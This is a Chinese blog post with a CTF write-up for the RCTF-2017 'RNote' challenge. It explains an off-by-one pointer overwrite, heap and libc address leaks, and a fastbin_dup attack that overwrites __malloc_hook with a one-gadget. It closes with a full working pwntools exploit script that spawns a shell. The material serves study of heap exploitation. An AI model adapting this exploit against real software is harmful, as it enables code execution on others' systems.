<!DOCTYPE HTML>
<html lang="zh-CN">


<head><meta name="generator" content="Hexo 3.8.0">
    <meta charset="utf-8">
    <meta name="keywords" content="RNote, Mondayice">
    <meta name="description" content="RCTF-2017: RNote【原理】off-by-one, fastbin_dup
【目的】了解基础堆知识，懂得堆溢出漏洞的利用
【环境】Linux
【工具】gdb(装有peda)，IDA，python，pwntools
【步骤】首先查">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="renderer" content="webkit|ie-stand|ie-comp">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="format-detection" content="telephone=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <title>RNote | Mondayice</title>
    <link rel="icon" type="image/png" href="/favicon.png">

    <link rel="stylesheet" type="text/css" href="/libs/awesome/css/font-awesome.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/materialize/materialize.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/aos/aos.css">
    <link rel="stylesheet" type="text/css" href="/libs/animate/animate.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/lightGallery/css/lightgallery.min.css">
    <link rel="stylesheet" type="text/css" href="/css/matery.css">
    <link rel="stylesheet" type="text/css" href="/css/my.css">
    <style type="text/css">
        
    </style>

    <script src="/libs/jquery/jquery-2.2.0.min.js"></script>
<link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"></head>


<body>

<header class="navbar-fixed">
    <nav id="headNav" class="bg-color nav-transparent">
        <div id="navContainer" class="nav-wrapper container">
            <div class="brand-logo">
                <a href="/" class="waves-effect waves-light">
                    
                    <img src="/medias/logo.png" class="logo-img" alt="LOGO">
                    
                    <span class="logo-span">Mondayice</span>
                </a>
            </div>
            

<a href="#" data-target="mobile-nav" class="sidenav-trigger button-collapse"><i class="fa fa-navicon"></i></a>
<ul class="right">
    
    <li class="hide-on-med-and-down">
        <a href="/" class="waves-effect waves-light">
            
            <i class="fa fa-home"></i>
            
            <span>首页</span>
        </a>
    </li>
    
    <li class="hide-on-med-and-down">
        <a href="/tags" class="waves-effect waves-light">
            
            <i class="fa fa-tags"></i>
            
            <span>标签</span>
        </a>
    </li>
    
    <li class="hide-on-med-and-down">
        <a href="/categories" class="waves-effect waves-light">
            
            <i class="fa fa-bookmark"></i>
            
            <span>分类</span>
        </a>
    </li>
    
    <li class="hide-on-med-and-down">
        <a href="/archives" class="waves-effect waves-light">
            
            <i class="fa fa-archive"></i>
            
            <span>归档</span>
        </a>
    </li>
    
    <li class="hide-on-med-and-down">
        <a href="/about" class="waves-effect waves-light">
            
            <i class="fa fa-user-circle-o"></i>
            
            <span>关于</span>
        </a>
    </li>
    
    <li class="hide-on-med-and-down">
        <a href="/friends" class="waves-effect waves-light">
            
            <i class="fa fa-address-book"></i>
            
            <span>友情链接</span>
        </a>
    </li>
    
    <li>
        <a href="#searchModal" class="modal-trigger waves-effect waves-light">
            <i id="searchIcon" class="fa fa-search" title="搜索"></i>
        </a>
    </li>
</ul>

<div id="mobile-nav" class="side-nav sidenav">

    <div class="mobile-head bg-color">
        
        <img src="/medias/logo.png" class="logo-img circle responsive-img">
        
        <div class="logo-name">Mondayice</div>
        <div class="logo-desc">
            
            白日放歌须纵酒 夜聚小北任逍遥
            
        </div>
    </div>

    

    <ul class="menu-list mobile-menu-list">
        
        <li>
            <a href="/" class="waves-effect waves-light">
                
                <i class="fa fa-fw fa-home"></i>
                
                首页
            </a>
        </li>
        
        <li>
            <a href="/tags" class="waves-effect waves-light">
                
                <i class="fa fa-fw fa-tags"></i>
                
                标签
            </a>
        </li>
        
        <li>
            <a href="/categories" class="waves-effect waves-light">
                
                <i class="fa fa-fw fa-bookmark"></i>
                
                分类
            </a>
        </li>
        
        <li>
            <a href="/archives" class="waves-effect waves-light">
                
                <i class="fa fa-fw fa-archive"></i>
                
                归档
            </a>
        </li>
        
        <li>
            <a href="/about" class="waves-effect waves-light">
                
                <i class="fa fa-fw fa-user-circle-o"></i>
                
                关于
            </a>
        </li>
        
        <li>
            <a href="/friends" class="waves-effect waves-light">
                
                <i class="fa fa-fw fa-address-book"></i>
                
                友情链接
            </a>
        </li>
        
        
        <li><div class="divider"></div></li>
        <li>
            <a href="https://github.com/blinkfox/hexo-theme-matery" class="waves-effect waves-light" target="_blank">
                <i class="fa fa-github-square fa-fw"></i>Fork Me
            </a>
        </li>
        
    </ul>
</div>

        </div>

        
            <style>
    .nav-transparent .github-corner {
        display: none !important;
    }

    .github-corner {
        position: absolute;
        z-index: 10;
        top: 0;
        right: 0;
        border: 0;
        transform: scale(1.1);
    }

    .github-corner svg {
        color: #0f9d58;
        fill: #fff;
        height: 64px;
        width: 64px;
    }

    .github-corner:hover .octo-arm {
        animation: a 0.56s ease-in-out;
    }

    .github-corner .octo-arm {
        animation: none;
    }

    @keyframes a {
        0%,
        to {
            transform: rotate(0);
        }
        20%,
        60% {
            transform: rotate(-25deg);
        }
        40%,
        80% {
            transform: rotate(10deg);
        }
    }
</style>

<a href="https://github.com/blinkfox/hexo-theme-matery" class="github-corner tooltipped hide-on-med-and-down" target="_blank" data-tooltip="Fork Me" data-position="left" data-delay="50">
    <svg viewbox="0 0 250 250" aria-hidden="true">
        <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"/>
        <path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"/>
        <path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"/>
    </svg>
</a>
        
    </nav>

</header>





<div class="bg-cover pd-header post-cover" style="background-image: url('http://yanxuan.nosdn.127.net/83e01713bb4c086dae07364f238190b1.jpg')">
    <div class="container">
        <div class="row">
            <div class="col s12 m12 l12">
                <div class="brand">
                    <div class="description center-align post-title">
                        RNote
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>



<main class="post-container content">

    
    <link rel="stylesheet" href="/libs/tocbot/tocbot.css">
<style>
    #articleContent h1::before,
    #articleContent h2::before,
    #articleContent h3::before,
    #articleContent h4::before,
    #articleContent h5::before,
    #articleContent h6::before {
        display: block;
        content: " ";
        height: 100px;
        margin-top: -100px;
        visibility: hidden;
    }

    #articleContent :focus {
        outline: none;
    }

    .toc-fixed {
        position: fixed;
        top: 64px;
    }

    .toc-widget {
        padding-left: 20px;
    }

    .toc-widget .toc-title {
        margin: 35px 0 15px 0;
        padding-left: 17px;
        font-size: 1.5rem;
        font-weight: bold;
        line-height: 1.5rem;
    }

    .toc-widget ol {
        padding: 0;
        list-style: none;
    }

    #toc-content ol {
        padding-left: 10px;
    }

    #toc-content ol li {
        padding-left: 10px;
    }

    #toc-content .toc-link:hover {
        color: #42b983;
        font-weight: 700;
        text-decoration: underline;
    }

    #toc-content .toc-link::before {
        background-color: transparent;
        max-height: 25px;
    }

    #toc-content .is-active-link {
        color: #42b983;
    }

    #toc-content .is-active-link::before {
        background-color: #42b983;
    }

    #floating-toc-btn {
        position: fixed;
        right: 20px;
        bottom: 76px;
        padding-top: 15px;
        margin-bottom: 0;
        z-index: 998;
    }

    #floating-toc-btn .btn-floating {
        width: 48px;
        height: 48px;
    }

    #floating-toc-btn .btn-floating i {
        line-height: 48px;
        font-size: 1.4rem;
    }
</style>
<div class="row">
    <div id="main-content" class="col s12 m12 l9">
        <!-- 文章内容详情 -->
<div id="artDetail">
    <div class="card">
        <div class="card-content article-info">
            <div class="row tag-cate">
                <div class="col s7">
                    
                    <div class="article-tag">
                        
                            <a href="/tags/CTF/" target="_blank">
                                <span class="chip bg-color">CTF</span>
                            </a>
                        
                    </div>
                    
                </div>
                <div class="col s5 right-align">
                    
                </div>
            </div>

            <div class="post-info">
                <div class="post-date info-break-policy">
                    <i class="fa fa-calendar-minus-o fa-fw"></i>发布日期:&nbsp;&nbsp;
                    2019-05-23
                </div>

                
				
				
                    <div id="busuanzi_container_page_pv" class="info-break-policy">
                        <i class="fa fa-eye fa-fw"></i>阅读次数:&nbsp;&nbsp;
                        <span id="busuanzi_value_page_pv"></span>
                    </div>
				
            </div>
        </div>
        <hr class="clearfix">
        <div class="card-content article-card-content">
            <div id="articleContent">
                <h1 id="RCTF-2017-RNote"><a href="#RCTF-2017-RNote" class="headerlink" title="RCTF-2017: RNote"></a><center>RCTF-2017: RNote</center></h1><h2 id="【原理】"><a href="#【原理】" class="headerlink" title="【原理】"></a><strong>【原理】</strong></h2><p>off-by-one, fastbin_dup</p>
<h2 id="【目的】"><a href="#【目的】" class="headerlink" title="【目的】"></a><strong>【目的】</strong></h2><p>了解基础堆知识，懂得堆溢出漏洞的利用</p>
<h2 id="【环境】"><a href="#【环境】" class="headerlink" title="【环境】"></a><strong>【环境】</strong></h2><p>Linux</p>
<h2 id="【工具】"><a href="#【工具】" class="headerlink" title="【工具】"></a><strong>【工具】</strong></h2><p>gdb(装有peda)，IDA，python，pwntools</p>
<h2 id="【步骤】"><a href="#【步骤】" class="headerlink" title="【步骤】"></a><strong>【步骤】</strong></h2><p>首先查看代码逻辑:<br><img src="http://yanxuan.nosdn.127.net/a38b3ed52ee9f0fe298b7e38eb135e4f.png" alt><br>进入add_onte查看:<br><img src="http://yanxuan.nosdn.127.net/9a643f5e21e5365e485f416d12f393eb.png" alt><br>通过观察能够知道，这个note应该是一个结构体，然后有一个数组notes[15]专门存放数据</p>
<pre class=" language-C"><code class="language-C">struct note {
    int IsUsed; :4
    int size;   :4
    char title[0x10]; :16
    char *content; :8
};
</code></pre>
<p>接下来，我们发现在下方的read处读取数据，然而我们知道，read是不会给字符串的结尾增加数据的，所以我们可以通过这个地方实现堆上敏感数据的泄露。<br>首先我们了解一下堆，堆在申请fastbin大小的数据的时候，在free之后不会被回收，而是等待下一次分配，所以我们可以如此构造堆结构:<br><img src="http://yanxuan.nosdn.127.net/0eb877029303b3c561cf34ce6870f636.png" alt><br>上述情况可以通过【申请1】 –&gt; 【申请2】 –&gt; 【释放2】 –&gt; 【释放1】 来触发。接下来，我们如果再次申请一个空间，那么此时便便会得到1的位置的数据，此时1中数据段开始的位置中，【记录了堆的位置】，那么我们就能通过这个位置的数据泄露出堆的位置。<br>接下来我们可以泄露libc的地址。通过申请一个small bin，然后将其删除的话，那么此时就会形成一个双向指针，这个指针指向的是main_arena的位置，所以我们能够利用这一点，找到实际上libc的起始位置.<br><img src="http://yanxuan.nosdn.127.net/83479206410c7d28d486a6b0fbbe82c7.png" alt><br>然后我们能够从libc中找到一个可以getshell的必要函数的位置:<br><img src="http://yanxuan.nosdn.127.net/270729188f72ef3fa984557cc2261d60.png" alt></p>
<p>信息泄露就做的差不多了，之后我们要开始劫持程序流：</p>
<p>我们在add_note处能发现一个漏洞:<br><img src="http://yanxuan.nosdn.127.net/410af6ae9899ef2a295d78fb5429a4ec.png" alt><br>这里会读入一个字符，读入的字符会覆盖掉堆地址的最后一位，从而使堆的指针位置发生错位。<br><img src="http://yanxuan.nosdn.127.net/4e3987f188cd629d5c2de5e5e2f02719.png" alt><br>原先的指针指向的位置<br><img src="http://yanxuan.nosdn.127.net/b5acd243a9c2340a18196a624caaee35.png" alt><br>此后发生的偏移。</p>
<p>我们可以利用这一点，让两个堆的地址<strong>指向同一个位置</strong>，这样的话，当我们首先申请三个块，再依次释放的话，会发生如下的事情:<br>首先我们有三个块。我们通过上述漏洞，构造如下形式。由于第三个块丢失了指针，这里暂时不画出来<br><img src="http://yanxuan.nosdn.127.net/e8893ce76ba26a38747a2f1537b892a7.png" alt><br>然后我们此时删除第一个块,此时指针之间没有变化。<br>然后我们删除第二个块，此时指针变化如下:<br><img src="http://yanxuan.nosdn.127.net/672998c033174154cf5cb8a7d0f26847.png" alt><br>这里可以看到，这个块指向了上一个块的起始位置。<br>然后当我们删除第三个块的时候，变化如下:<br><img src="http://yanxuan.nosdn.127.net/eb1a6a54cb42b6bc451df7823594e141.png" alt><br>由于此时fastbin认为当前块未释放，于是直接将当前的fastbin的指针指向了上一个空闲块的位置上。<br><img src="http://yanxuan.nosdn.127.net/7a77feb8c20a3b8fe62c8ef013d2e637.png" alt><br>于是此时我们此时可以利用这个fastbin_dup攻击的方式，通过修改链表尾端指向的地址，让我们得到_malloc_hook的地址.<br>此后第一次malloc，我们获得如下块:<br><img src="http://yanxuan.nosdn.127.net/000e3a57eef744416097dfb3c81fd42f.png" alt><br><img src="http://yanxuan.nosdn.127.net/d3ccc577e6bb156c3088e3ef6fa06e4c.png" alt><br>此时我们在fd的位置修改成如下地址，第二次分配后变成如下：<br><img src="http://yanxuan.nosdn.127.net/5890e98eaa8a91bba914693be1ba315a.png" alt><br>第三次分配后，我们就能够让fastbin指向fd的指针指向<strong>malloc_hook的位置:<br><img src="http://yanxuan.nosdn.127.net/771f6100136840b4a85104c82a77d3ce.png" alt><br>再下一次malloc我们就能够得到</strong>malloc_hook的指针，在我们第四次得到数据后，我们只需要往里面写入我们之前准备好的攻击数据即可。</p>
<p>代码如下:</p>
<pre class=" language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>

s <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./RNote'</span><span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">add</span><span class="token punctuation">(</span>size<span class="token punctuation">,</span> title<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>size<span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>title<span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>send<span class="token punctuation">(</span>content<span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">delete</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'2'</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>index<span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">show</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'3'</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">': '</span><span class="token punctuation">)</span>
    s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>index<span class="token punctuation">)</span>

add<span class="token punctuation">(</span><span class="token string">'200'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'200'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">)</span>
delete<span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'200'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">)</span>
show<span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">)</span>
s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'note content: A'</span><span class="token punctuation">)</span>
libc_base <span class="token operator">=</span> u64<span class="token punctuation">(</span>s<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">:</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">-</span><span class="token number">104</span><span class="token operator">-</span><span class="token number">0x3c1740</span>
malloc_hook <span class="token operator">=</span> libc_base <span class="token operator">+</span> <span class="token number">0x3C1740</span>
<span class="token number">0x3fd4f</span>
oneshot <span class="token operator">=</span> libc_base <span class="token operator">+</span> <span class="token number">0xE8FE1</span>
log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"LIBC BASE : "</span> <span class="token operator">+</span> hex<span class="token punctuation">(</span>libc_base<span class="token punctuation">)</span><span class="token punctuation">)</span> 
log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"MALLOC HOOK : "</span> <span class="token operator">+</span> hex<span class="token punctuation">(</span>malloc_hook<span class="token punctuation">)</span><span class="token punctuation">)</span>

delete<span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">)</span>
delete<span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">)</span>

add<span class="token punctuation">(</span><span class="token string">'96'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'96'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'96'</span><span class="token punctuation">,</span><span class="token string">'A'</span> <span class="token operator">*</span> <span class="token number">16</span> <span class="token operator">+</span><span class="token string">'\x10'</span> <span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">)</span>
delete<span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">)</span>
delete<span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">)</span>
delete<span class="token punctuation">(</span><span class="token string">'2'</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'96'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span>p64<span class="token punctuation">(</span>malloc_hook<span class="token number">-0x1b</span><span class="token operator">-</span><span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'96'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'96'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span>p64<span class="token punctuation">(</span>malloc_hook<span class="token number">-0x1b</span><span class="token operator">-</span><span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token string">'96'</span><span class="token punctuation">,</span><span class="token string">'A'</span><span class="token punctuation">,</span><span class="token string">'A'</span> <span class="token operator">*</span> <span class="token number">19</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>oneshot<span class="token punctuation">)</span><span class="token punctuation">)</span>

s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'Your choice:'</span><span class="token punctuation">)</span>
s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">)</span>
s<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'Please input the note size:'</span><span class="token punctuation">)</span>
s<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">)</span>
s<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'GOT SHELL!'</span><span class="token punctuation">)</span>
s<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre>
<h2 id="【总结】"><a href="#【总结】" class="headerlink" title="【总结】"></a><strong>【总结】</strong></h2><p>堆的错误比较隐晦，而且利用起来也有一定的难度，需要对glibc中malloc的代码有一定的了解程度。</p>

            </div>
            <hr>

            
            <style>
    #reward {
        margin: 40px 0;
        text-align: center;
    }

    #reward .reward-link {
        font-size: 1.88rem;
    }

    #reward .btn-floating:hover {
        box-shadow: 0 6px 12px rgba(0, 0, 0, 0.2), 0 5px 15px rgba(0, 0, 0, 0.2);
    }

    #rewardModal {
        width: 320px;
        height: 350px;
    }

    #rewardModal .reward-title {
        margin: 15px auto;
        padding-bottom: 5px;
    }

    #rewardModal .modal-content {
        padding: 10px;
    }

    #rewardModal .close {
        position: absolute;
        right: 15px;
        top: 15px;
        color: rgba(0, 0, 0, 0.5);
        font-size: 1.3rem;
        line-height: 20px;
        cursor: pointer;
    }

    #rewardModal .close:hover {
        color: #ef5350;
        transform: scale(1.3);
        -moz-transform:scale(1.3);
        -webkit-transform:scale(1.3);
        -o-transform:scale(1.3);
    }

    #rewardModal .reward-tabs {
        margin: 0 auto;
        width: 210px;
    }

    .reward-tabs .tabs {
        height: 38px;
        margin: 10px auto;
        padding-left: 0;
    }

    .reward-content ul {
        padding-left: 0 !important;
    }

    .reward-tabs .tabs .tab {
        height: 38px;
        line-height: 38px;
    }

    .reward-tabs .tab a {
        color: #fff;
        background-color: #ccc;
    }

    .reward-tabs .tab a:hover {
        background-color: #ccc;
        color: #fff;
    }

    .reward-tabs .wechat-tab .active {
        color: #fff !important;
        background-color: #22AB38 !important;
    }

    .reward-tabs .alipay-tab .active {
        color: #fff !important;
        background-color: #019FE8 !important;
    }

    .reward-tabs .reward-img {
        width: 210px;
        height: 210px;
    }
</style>

<div id="reward">
    <a href="#rewardModal" class="reward-link modal-trigger btn-floating btn-large waves-effect waves-light red">赏</a>

    <!-- Modal Structure -->
    <div id="rewardModal" class="modal">
        <div class="modal-content">
            <a class="close modal-close"><i class="fa fa-close"></i></a>
            <h4 class="reward-title">你的赏识是我前进的动力</h4>
            <div class="reward-content">
                <div class="reward-tabs">
                    <ul class="tabs row">
                        <li class="tab col s6 alipay-tab waves-effect waves-light"><a href="#alipay">支付宝</a></li>
                        <li class="tab col s6 wechat-tab waves-effect waves-light"><a href="#wechat">微 信</a></li>
                    </ul>
                    <div id="alipay">
                        <img src="/medias/reward/alipay.jpg" class="reward-img" alt="支付宝打赏二维码">
                    </div>
                    <div id="wechat">
                        <img src="/medias/reward/wechat.png" class="reward-img" alt="微信打赏二维码">
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
    $(function () {
        $('.tabs').tabs();
    });
</script>
            

            <link rel="stylesheet" type="text/css" href="/libs/share/css/share.min.css">

<div id="article-share">
    
    <div class="social-share" data-disabled="qzone" data-wechat-qrcode-helper="<p>微信里点“发现”->“扫一扫”二维码便可查看分享。</p>"></div>
    
</div>

<script src="/libs/share/js/social-share.min.js"></script>

            

    <div class="reprint" id="reprint-statement">
        <p class="reprint-tip">
            <i class="fa fa-exclamation-triangle"></i>&nbsp;&nbsp;
            <span>转载规则</span>
        </p>
        
            <span>
                请联系作者付费转载。
            </span>
        
    </div>

    <script async defer>
      document.addEventListener("copy", function (e) {
        let toastHTML = '<span>复制成功，请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>';
        M.toast({html: toastHTML})
      });

      function navToReprintStatement() {
        $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800);
      }
    </script>


        </div>
    </div>

    

    

    

    

    

    

<article id="prenext-posts" class="prev-next articles">
    <div class="row article-row">
        
        <div class="article col s12 m6 overflow-policy" data-aos="fade-up">
            <div class="article-badge left-badge text-color">
                <i class="fa fa-chevron-left"></i>&nbsp;上一篇</div>
            <div class="card">
                <a href="/2019/11/06/校内练习平台杂项/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/0.jpg" class="responsive-img" alt="校内平台杂项">
                        
                        <span class="card-title">校内平台杂项</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            杂项第一题一般不难下了图片拖到notepad++直接搜flag。bingo！
第二题还是图片隐写，百毒网盘连接，下载载瞅一眼老样子先拿到Stegsolve看一波，bingo！
第三题、base64，不多说了
第四题在图片下面
第五题give
                        
                    </div>
                    <div class="publish-info">
                        <span class="publish-date">
                            <i class="fa fa-clock-o fa-fw icon-date"></i>2019-11-06
                        </span>
                        <span class="publish-author">
                            
                            <i class="fa fa-user fa-fw"></i>
                            Mondayice
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/CTF/" target="_blank">
                        <span class="chip bg-color">CTF</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
        
        <div class="article col s12 m6 overflow-policy" data-aos="fade-up">
            <div class="article-badge right-badge text-color">
                下一篇&nbsp;<i class="fa fa-chevron-right"></i>
            </div>
            <div class="card">
                <a href="/2019/05/20/sxj/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/5.jpg" class="responsive-img" alt="sxj">
                        
                        <span class="card-title">sxj</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            
                        
                    </div>
                    <div class="publish-info">
                            <span class="publish-date">
                                <i class="fa fa-clock-o fa-fw icon-date"></i>2019-05-20
                            </span>
                        <span class="publish-author">
                            
                            <i class="fa fa-user fa-fw"></i>
                            Mondayice
                            
                        </span>
                    </div>
                </div>
                
            </div>
        </div>
        
    </div>
</article>
</div>



    </div>
    <div id="toc-aside" class="expanded col l3 hide-on-med-and-down">
        <div class="toc-widget">
            <div class="toc-title"><i class="fa fa-list-alt"></i>&nbsp;&nbsp;目录</div>
            <div id="toc-content"></div>
        </div>
    </div>
</div>

<!-- TOC 悬浮按钮. -->

<div id="floating-toc-btn" class="hide-on-med-and-down">
    <a class="btn-floating btn-large bg-color">
        <i class="fa fa-list"></i>
    </a>
</div>


<script src="/libs/tocbot/tocbot.min.js"></script>
<script>
    $(function () {
        tocbot.init({
            tocSelector: '#toc-content',
            contentSelector: '#articleContent',
            headingsOffset: -($(window).height() * 0.4 - 45),
            // headingsOffset: -205,
            headingSelector: 'h2, h3, h4'
        });

        // modify the toc link href to support Chinese.
        let i = 0;
        let tocHeading = 'toc-heading-';
        $('#toc-content a').each(function () {
            $(this).attr('href', '#' + tocHeading + (++i));
        });

        // modify the heading title id to support Chinese.
        i = 0;
        $('#articleContent').children('h2, h3, h4').each(function () {
            $(this).attr('id', tocHeading + (++i));
        });

        // Set scroll toc fixed.
        let tocHeight = parseInt($(window).height() * 0.4 - 64);
        let $tocWidget = $('.toc-widget');
        $(window).scroll(function () {
            let scroll = $(window).scrollTop();
            /* add post toc fixed. */
            if (scroll > tocHeight) {
                $tocWidget.addClass('toc-fixed');
            } else {
                $tocWidget.removeClass('toc-fixed');
            }
        });

        
        /* 修复文章卡片 div 的宽度. */
        let fixPostCardWidth = function (srcId, targetId) {
            let srcDiv = $('#' + srcId);
            if (srcDiv.length === 0) {
                return;
            }

            let w = srcDiv.width();
            if (w >= 450) {
                w = w + 21;
            } else if (w >= 350 && w < 450) {
                w = w + 18;
            } else if (w >= 300 && w < 350) {
                w = w + 16;
            } else {
                w = w + 14;
            }
            $('#' + targetId).width(w);
        };

        // 切换TOC目录展开收缩的相关操作.
        const expandedClass = 'expanded';
        let $tocAside = $('#toc-aside');
        let $mainContent = $('#main-content');
        $('#floating-toc-btn .btn-floating').click(function () {
            if ($tocAside.hasClass(expandedClass)) {
                $tocAside.removeClass(expandedClass).slideUp(500);
                $mainContent.removeClass('l9');
            } else {
                $tocAside.addClass(expandedClass).slideDown(500);
                $mainContent.addClass('l9');
            }
            fixPostCardWidth('artDetail', 'prenext-posts');
        });
        
    });
</script>
    

</main>


<footer class="page-footer bg-color">
    <div class="container row center-align">
        <div class="col s12 m8 l8 copy-right">
            本站由&copy;<a href="https://mondayice.github.io/" target="_blank">Mondayice</a>基于
            <a href="https://hexo.io/" target="_blank">Hexo</a>搭建.

            

            
			
                <br>
                
                <span id="busuanzi_container_site_pv">
                    <i class="fa fa-heart-o"></i>
                    本站总访问量 <span id="busuanzi_value_site_pv" class="white-color"></span>
                </span>
                
                
                <span id="busuanzi_container_site_uv">
                    <i class="fa fa-users"></i>
                    次,&nbsp;访客数 <span id="busuanzi_value_site_uv" class="white-color"></span> 人.
                </span>
                
            
        </div>
